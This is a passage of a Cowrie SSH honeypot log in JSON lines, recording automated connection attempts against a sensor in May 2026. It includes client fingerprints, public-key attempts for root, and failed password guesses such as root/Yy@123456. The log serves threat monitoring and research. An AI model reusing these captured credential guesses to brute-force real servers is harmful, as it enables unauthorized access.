des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:31.674985Z","src_ip":"95.58.255.251","session":"9f22e2ee47fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2001ad","message":"login attempt [root/2001ad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:32.381333Z","src_ip":"95.58.255.251","session":"9f22e2ee47fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:33.553722Z","src_ip":"95.58.255.251","session":"9f22e2ee47fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":49408,"dst_ip":"10.17.0.5","dst_port":22,"session":"34855db98db5","protocol":"ssh","message":"New connection: 144.91.86.102:49408 (10.17.0.5:22) [session: 34855db98db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:54.846322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:54.851435Z","src_ip":"144.91.86.102","session":"34855db98db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:54.947059Z","src_ip":"144.91.86.102","session":"34855db98db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy@123456","message":"login attempt [root/Yy@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:55.356786Z","src_ip":"144.91.86.102","session":"34855db98db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:56.455156Z","src_ip":"144.91.86.102","session":"34855db98db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.115.68","src_port":37438,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c56db66cb69","protocol":"ssh","message":"New connection: 175.110.115.68:37438 (10.17.0.5:22) [session: 7c56db66cb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.021780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.027113Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.112253Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:3d:3b:6a:b9:58:f6:1c:54:d8:45:0c:87:09:14:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmcZT4/WmI26/JyLzpKkRtvcpLQUYozN7gGwn+czof3/zHeQxAi9msXrOmIm7NBMb8chkIde1eDQcmplbpXiVhVqx7TN9UfRJHfoXQqKBW53+ds+5KrTIKF2hdEuOzFgqZl7b/dlqlzD9Je392PLWxpVKHF2/SpmfyS877KyG3kyqgG7zGtAA9pOxTSE2f2HiBS2C6D+RVsuqm+XfX2z4BPbN220rBDPUV3tBEagqaUKkChvRqfxEFcXgtYafHSfCWsei71PxE4JdZfqPz6FhvGo5n00JGMuC9NNU1/UnD0ZgYTvkB/x9t1RHoEOCAoicMCN5zv336UvM4SDtACe4z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:3d:3b:6a:b9:58:f6:1c:54:d8:45:0c:87:09:14:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.514437Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:3d:3b:6a:b9:58:f6:1c:54:d8:45:0c:87:09:14:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmcZT4/WmI26/JyLzpKkRtvcpLQUYozN7gGwn+czof3/zHeQxAi9msXrOmIm7NBMb8chkIde1eDQcmplbpXiVhVqx7TN9UfRJHfoXQqKBW53+ds+5KrTIKF2hdEuOzFgqZl7b/dlqlzD9Je392PLWxpVKHF2/SpmfyS877KyG3kyqgG7zGtAA9pOxTSE2f2HiBS2C6D+RVsuqm+XfX2z4BPbN220rBDPUV3tBEagqaUKkChvRqfxEFcXgtYafHSfCWsei71PxE4JdZfqPz6FhvGo5n00JGMuC9NNU1/UnD0ZgYTvkB/x9t1RHoEOCAoicMCN5zv336UvM4SDtACe4z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.518159Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:cb:db:6d:8a:0b:62:41:72:16:ea:3e:c0:6d:f3:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYZSq14fHESEpeiLq5ABMHsHSa6JEbxiGW0UxEARk7+Hc72i2W6DmVgEjT5eTg9P8ned5p1o6amJ9BQAnSgIaMJJ6dCfxGFUZhPY5xR4jiNsOhId4bEqP5xFl84O4nPF2OjaOIcjf5q3RPDEFUgq+H2gyfKn2adCbeXsfiGl/7mjV0HTvBx75Yjj2gRf0oxTkldfzxlOew/sLY+bavQyQcZYOGCEMlBXmfyAwxWe43ePKx0K2Gol+KbK6pe9SgvpJMqmmMFLHb481SAY2+64mS+su0mRDamm06pMGH1z2Yd3CDFOGXYgHioei7+wraJN+K9VHa3C96WTjR6NMU5nDPH5XkGQcJADJ7cEBu5H13XPltLILiU3MnUChJrJN4bcyrAdCjTohsuzLTrvjbZCX1G7aFF8zdjrVb7Q1GDdPcg3gz8wrOwc8F5b9dwyEBJWVqXo6B05TOQJ4bY6iZCwmQZuAdAEcj6hQ6oJ7wshQ54vtOYFsLoCSFM0fF18TFOdMe8ezfDzJeo2xdhRaSD8Yz8/H4WJYmxOZ4guqAbG4YbL/cdw7IC6VTSfTEfJahyQ0LEsNOaJotO71JTa374suR4cimIjADWpMZbA1/gwEH1Idy2RsArjZUOhfr6m5KSad+g4rar8BiBugcoBwUGRpJQ3+gnV1+y4j8yz4ALAXS0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:cb:db:6d:8a:0b:62:41:72:16:ea:3e:c0:6d:f3:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.603820Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:cb:db:6d:8a:0b:62:41:72:16:ea:3e:c0:6d:f3:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYZSq14fHESEpeiLq5ABMHsHSa6JEbxiGW0UxEARk7+Hc72i2W6DmVgEjT5eTg9P8ned5p1o6amJ9BQAnSgIaMJJ6dCfxGFUZhPY5xR4jiNsOhId4bEqP5xFl84O4nPF2OjaOIcjf5q3RPDEFUgq+H2gyfKn2adCbeXsfiGl/7mjV0HTvBx75Yjj2gRf0oxTkldfzxlOew/sLY+bavQyQcZYOGCEMlBXmfyAwxWe43ePKx0K2Gol+KbK6pe9SgvpJMqmmMFLHb481SAY2+64mS+su0mRDamm06pMGH1z2Yd3CDFOGXYgHioei7+wraJN+K9VHa3C96WTjR6NMU5nDPH5XkGQcJADJ7cEBu5H13XPltLILiU3MnUChJrJN4bcyrAdCjTohsuzLTrvjbZCX1G7aFF8zdjrVb7Q1GDdPcg3gz8wrOwc8F5b9dwyEBJWVqXo6B05TOQJ4bY6iZCwmQZuAdAEcj6hQ6oJ7wshQ54vtOYFsLoCSFM0fF18TFOdMe8ezfDzJeo2xdhRaSD8Yz8/H4WJYmxOZ4guqAbG4YbL/cdw7IC6VTSfTEfJahyQ0LEsNOaJotO71JTa374suR4cimIjADWpMZbA1/gwEH1Idy2RsArjZUOhfr6m5KSad+g4rar8BiBugcoBwUGRpJQ3+gnV1+y4j8yz4ALAXS0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.607790Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:58:37:31:90:e0:a1:54:a9:1c:75:27:ed:3f:8e:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTENJww+zgzmqUfj0olJZTXNeuCQc+9IDPSXUJYK4aAkMfczhM5zlX4Jfr9xr76u0rMIjAC/vtfH8qnLXA6mr03hAFbxCVioGLu7aAU+aTOzxz/3kus7BjGanG3r2taUvMVgZbP22nFxm7j+M6sPtrSDv/GoQ/JdIpUdSPuPvN4KdFEZiJJJ8Mv0hKwHB0GrynBFdFp/c794lAedpZ280SHwnFMhMfvd/A+W2b1AW47OkmcT9Wl2q579X2a4tjW76KhGgi2QWZdP83oBlhhytCvaRdgAo9RaUrN5cpoZBRkNGNQukP9P4lEhbkEP190t1GLr86qq9uMN+bX0MrsMbAihMFIyJzQVEpwahWsQANaj/BFmqCJ4OO8j2/v+sGyv5hPj1ZpJsk1BaZNz1qW1ty1Yzf8CnT0/7a7HsiC8RdLBNkQiAC7A0HRK6x4atRxUx9ghO88HVc81Foe8GNZKb28HAs6ybFyjWnhTH8xOX5qETTTnYyCGVuzYzGi5D2WQvhTjYjvYVarMF+6KVkGPcv05q2i0WJEHs3laF9W0YmchdJr/PX2U8Pu4VqQkeRnuC7XZWCavwH0HAWOZ5o+nLaXY6h5W84ya8Eb7uS8dfmm+/9iPNR4jJq54+hgi374w8K7VNoDUuINyp8oNt9AmsmWa6TbA5Ip5MYtDFWB9SowQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:58:37:31:90:e0:a1:54:a9:1c:75:27:ed:3f:8e:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.693552Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:58:37:31:90:e0:a1:54:a9:1c:75:27:ed:3f:8e:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTENJww+zgzmqUfj0olJZTXNeuCQc+9IDPSXUJYK4aAkMfczhM5zlX4Jfr9xr76u0rMIjAC/vtfH8qnLXA6mr03hAFbxCVioGLu7aAU+aTOzxz/3kus7BjGanG3r2taUvMVgZbP22nFxm7j+M6sPtrSDv/GoQ/JdIpUdSPuPvN4KdFEZiJJJ8Mv0hKwHB0GrynBFdFp/c794lAedpZ280SHwnFMhMfvd/A+W2b1AW47OkmcT9Wl2q579X2a4tjW76KhGgi2QWZdP83oBlhhytCvaRdgAo9RaUrN5cpoZBRkNGNQukP9P4lEhbkEP190t1GLr86qq9uMN+bX0MrsMbAihMFIyJzQVEpwahWsQANaj/BFmqCJ4OO8j2/v+sGyv5hPj1ZpJsk1BaZNz1qW1ty1Yzf8CnT0/7a7HsiC8RdLBNkQiAC7A0HRK6x4atRxUx9ghO88HVc81Foe8GNZKb28HAs6ybFyjWnhTH8xOX5qETTTnYyCGVuzYzGi5D2WQvhTjYjvYVarMF+6KVkGPcv05q2i0WJEHs3laF9W0YmchdJr/PX2U8Pu4VqQkeRnuC7XZWCavwH0HAWOZ5o+nLaXY6h5W84ya8Eb7uS8dfmm+/9iPNR4jJq54+hgi374w8K7VNoDUuINyp8oNt9AmsmWa6TbA5Ip5MYtDFWB9SowQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.697616Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:c5:78:b2:b1:82:f8:30:db:1c:f9:8a:59:1b:85:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWdImRXDn291AaClNEcG6MVkmA5YKx9KiubhlrdgSkyTZM3biQ8KRZ60x+02RQZW/1BD7eo/e+O0ncfokdiBYXwOmPokuLMQ6II8YgmmEu6RmP1PamEbdFWw9m2j1YsgpR2IBvh0oNIbGwUUIhxwBe02Jdp8ek/vdgRs+P9w6MS8Kdw/8mzsQnf1sO8uc1YT162svJDz5fn4uvLUrnRUS661v+S7zHd/DWlpL5u0JXJxEjkTAFLnn0F1B1GCumHuRkyrs0WaFlz8SkIE/Eb76xVhoK2QS5aBp0IcCzHGub9ULw5hOmqBd8kzjj7R9lPF3W+3jdxpMqI/c/rnzhT/XpyQjCqb8EaVfxBpvsImDHxWBb/FBAPoF9kdOmNZYCSiSDMZRjhRWTV5I4kGz12WjwxucArip5mhMdgD8KNJ9201lXivOyUrEGqxd+UylDCpoBl7w1hPBVaryFt/7Z4wfPe/mADZV1o7sqstETHO8n6kdqZujh5QxjWwGibNyP1RusNuXNTAj5mdqRnFtONp4N8rzyPiSlNOEkj/9bhvW8tfcaFn/Uee3mTgbwI8qKRfGCvd0F/5ox9K30qOUcYWj3RSHTCpTx3WSgnknqHZiPEuHg4BXcwGqY4MtPE7ag+7iEzVMw3IBbF0cmZW7uSiIFQXGlcIJLY8RCxzA7SBbY4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:c5:78:b2:b1:82:f8:30:db:1c:f9:8a:59:1b:85:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.787143Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:c5:78:b2:b1:82:f8:30:db:1c:f9:8a:59:1b:85:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWdImRXDn291AaClNEcG6MVkmA5YKx9KiubhlrdgSkyTZM3biQ8KRZ60x+02RQZW/1BD7eo/e+O0ncfokdiBYXwOmPokuLMQ6II8YgmmEu6RmP1PamEbdFWw9m2j1YsgpR2IBvh0oNIbGwUUIhxwBe02Jdp8ek/vdgRs+P9w6MS8Kdw/8mzsQnf1sO8uc1YT162svJDz5fn4uvLUrnRUS661v+S7zHd/DWlpL5u0JXJxEjkTAFLnn0F1B1GCumHuRkyrs0WaFlz8SkIE/Eb76xVhoK2QS5aBp0IcCzHGub9ULw5hOmqBd8kzjj7R9lPF3W+3jdxpMqI/c/rnzhT/XpyQjCqb8EaVfxBpvsImDHxWBb/FBAPoF9kdOmNZYCSiSDMZRjhRWTV5I4kGz12WjwxucArip5mhMdgD8KNJ9201lXivOyUrEGqxd+UylDCpoBl7w1hPBVaryFt/7Z4wfPe/mADZV1o7sqstETHO8n6kdqZujh5QxjWwGibNyP1RusNuXNTAj5mdqRnFtONp4N8rzyPiSlNOEkj/9bhvW8tfcaFn/Uee3mTgbwI8qKRfGCvd0F/5ox9K30qOUcYWj3RSHTCpTx3WSgnknqHZiPEuHg4BXcwGqY4MtPE7ag+7iEzVMw3IBbF0cmZW7uSiIFQXGlcIJLY8RCxzA7SBbY4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.791172Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:7a:fb:85:cc:96:23:90:fe:48:a6:37:78:e9:b5:61","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPATsoensWNniosk5iDAsG7g4ZML9V10ajxrMAM4WqV+tS8q3U3DGXmNiHqu5C0azG4C2j9QVsadj/AVtKEdE4edFCfCGa52ygW4+GfyVr39RrYjXBvJKaFSjI//ApYCsls7ICMu9IBGwPzuJKKrk8hrjlbXxImJ4v1okE7oldoxAAAAFQCmV4+uYEoTRsq6AModcBRP/D7GhwAAAIEAwF+JaOQSPxib1xy6xW1+4vaJchiziNlQbFKgXceZLw4AmPAUI+S6dH/bEjrmN51JsrxP5vkIPsm3gxE0eFBVntPCLqrJG4uTIUjFSbwaeUv+CUwVi2pGCOXHtIyqnF3/W+c3aSHwfbzPLJ0jAXq0tGKX68VaPeKfZM1xWL8J3QMAAACALOxDC2BJV4X/TmXVVRLk8hTVPmA/Bo2kwGqh1F5yjreI1YGxs5vVMDkpBTgkx6wuYyqlaDf3SimBK3gfRkULrH6FwUa0cfUs68llrCERpictR9Pqu0C5LQjVjq4jKdyELqBI958m0p/wJA/9uDjLW12myHfmChUP8aTu+YZCis0=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ea:7a:fb:85:cc:96:23:90:fe:48:a6:37:78:e9:b5:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.877034Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:7a:fb:85:cc:96:23:90:fe:48:a6:37:78:e9:b5:61","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPATsoensWNniosk5iDAsG7g4ZML9V10ajxrMAM4WqV+tS8q3U3DGXmNiHqu5C0azG4C2j9QVsadj/AVtKEdE4edFCfCGa52ygW4+GfyVr39RrYjXBvJKaFSjI//ApYCsls7ICMu9IBGwPzuJKKrk8hrjlbXxImJ4v1okE7oldoxAAAAFQCmV4+uYEoTRsq6AModcBRP/D7GhwAAAIEAwF+JaOQSPxib1xy6xW1+4vaJchiziNlQbFKgXceZLw4AmPAUI+S6dH/bEjrmN51JsrxP5vkIPsm3gxE0eFBVntPCLqrJG4uTIUjFSbwaeUv+CUwVi2pGCOXHtIyqnF3/W+c3aSHwfbzPLJ0jAXq0tGKX68VaPeKfZM1xWL8J3QMAAACALOxDC2BJV4X/TmXVVRLk8hTVPmA/Bo2kwGqh1F5yjreI1YGxs5vVMDkpBTgkx6wuYyqlaDf3SimBK3gfRkULrH6FwUa0cfUs68llrCERpictR9Pqu0C5LQjVjq4jKdyELqBI958m0p/wJA/9uDjLW12myHfmChUP8aTu+YZCis0=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.881334Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:59.967144Z","src_ip":"175.110.115.68","session":"7c56db66cb69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:04.275167Z","src_ip":"14.103.111.13","session":"dffabf36f4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":42582,"dst_ip":"10.17.0.5","dst_port":22,"session":"6643cd12a16e","protocol":"ssh","message":"New connection: 43.162.109.147:42582 (10.17.0.5:22) [session: 6643cd12a16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:05.384505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:05.390563Z","src_ip":"43.162.109.147","session":"6643cd12a16e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:05.462729Z","src_ip":"43.162.109.147","session":"6643cd12a16e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:05.768568Z","src_ip":"43.162.109.147","session":"6643cd12a16e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:06.855037Z","src_ip":"43.162.109.147","session":"6643cd12a16e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":58838,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f5db8b242c4","protocol":"ssh","message":"New connection: 192.169.243.246:58838 (159.203.135.109:22) [session: 1f5db8b242c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:38.224806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:38.230397Z","src_ip":"192.169.243.246","session":"1f5db8b242c4","protocol":"ssh"}
